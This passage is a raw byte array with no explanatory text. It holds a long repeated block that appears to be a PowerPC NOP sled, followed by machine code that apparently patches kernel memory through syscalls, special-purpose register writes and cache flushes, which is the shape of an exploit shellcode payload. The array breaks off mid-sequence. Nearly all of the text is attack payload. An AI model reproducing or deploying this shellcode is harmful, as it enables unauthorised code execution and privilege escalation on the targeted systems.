0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, + +0x48, 0x00, 0x00, 0x05, 0x7c, 0x68, 0x02, 0xa6, 0x38, 0x80, 0x00, 0x48, 0x7c, 0x84, 0x1a, 0x14, 0x80, 0xa4, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x7f, 0xa3, 0xeb, 0x78, 0x38, 0xc0, 0x00, 0x02, 0x7c, 0xa5, 0x34, 0x30, 0x7c, 0xa9, 0x03, 0xa6, 0x80, 0xa4, 0x00, 0x00, 0x90, 0xa3, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x38, 0x63, 0x00, 0x04, 0x42, 0x00, 0xff, 0xf0, 0x7c, 0x21, 0xf2, 0x14, 0x80, 0x61, 0x00, 0x04, 0x7c, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20, + +0x00, 0x40, 0x00, 0x00, +0x3c, 0x20, 0x1a, 0xb5, 0x60, 0x21, 0xd1, 0x38, 0x48, 0x00, 0x14, 0x09, 0x38, 0x00, 0x25, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0, 0x93, 0xc1, 0x00, 0x04, 0x93, 0xe1, 0x00, 0x08, 0x7c, 0x05, 0x03, 0x78, 0x7c, 0x26, 0x0b, 0x78, 0x38, 0x00, 0x36, 0x00, 0x44, 0x00, 0x00, 0x02, 0x60, 0x00, 0x00, 0x00, 0x7c, 0xa0, 0x2b, 0x78, 0x7c, 0xc1, 0x33, 0x78, 0x83, 0xc1, 0x00, 0x04, 0x83, 0xe1, 0x00, 0x08, 0x38, 0x21, 0x00, 0x10, 0x7c, 0x08, 0x03, 0xa6, 0x4e, 0x80, 0x00, 0x20, 0x7f, 0xd8, 0x82, 0xa6, 0x7f, 0xf9, 0x82, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x00, 0x02, 0x7c, 0x78, 0x83, 0xa6, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x00, 0x32, 0x7c, 0x79, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x24, 0x3c, 0x80, 0x3c, 0xe0, 0x60, 0x84, 0x30, 0x80, 0x90, 0x83, 0x00, 0x00, 0x3c, 0x80, 0x60, 0xe7, 0x60, 0x84, 0x00, 0x12, 0x90, 0x83, 0x00, 0x04, 0x3c, 0x80, 0x7c, 0xf1, 0x60, 0x84, 0x8b, 0xa6, 0x90, 0x83, 0x00, 0x08, 0x3c, 0x80, 0x3c, 0xe0, 0x60, 0x84, 0x00, 0x80, 0x90, 0x83, 0x00, 0x0c, 0x3c, 0x80, 0x60, 0xe7, 0x60, 0x84, 0x00, 0xff, 0x90, 0x83, 0x00, 0x10, 0x3c, 0x80, 0x7c, 0xf0, 0x60, 0x84, 0x8b, 0xa6, 0x90, 0x83, 0x00, 0x14, 0x3c, 0x80, 0x7c, 0x00, 0x60, 0x84, 0x06, 0xac, 0x90, 0x83, 0x00, 0x18, 0x3c, 0x80, 0x4c, 0x00, 0x60, 0x84, 0x01, 0x2c, 0x90, 0x83, 0x00, 0x1c, 0x3c, 0x80, 0x7c, 0xe8, 0x60, 0x84, 0x02, 0xa6, 0x90, 0x83, 0x00, 0x20, 0x3c, 0x80, 0x48, 0x80, 0x60, 0x84, 0x00, 0x03, 0x90, 0x83, 0x00, 0x24, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x20, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd6, 0x40, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x04, 0xac, 0x3c, 0x60, 0x30, 0x80, 0x60, 0x63, 0x00, 0x12, 0x7c, 0x71, 0x8b, 0xa6, 0x3c, 0x60, 0x00, 0x80, 0x60, 0x63, 0x00, 0xff, 0x7c, 0x70, 0x8b, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x80, 0x60, 0x00, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x6b, 0x6c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x6b, 0xf8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x03, 0xc8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf0, 0x60, 0x63, 0x03, 0xcc, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd7, 0x0c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 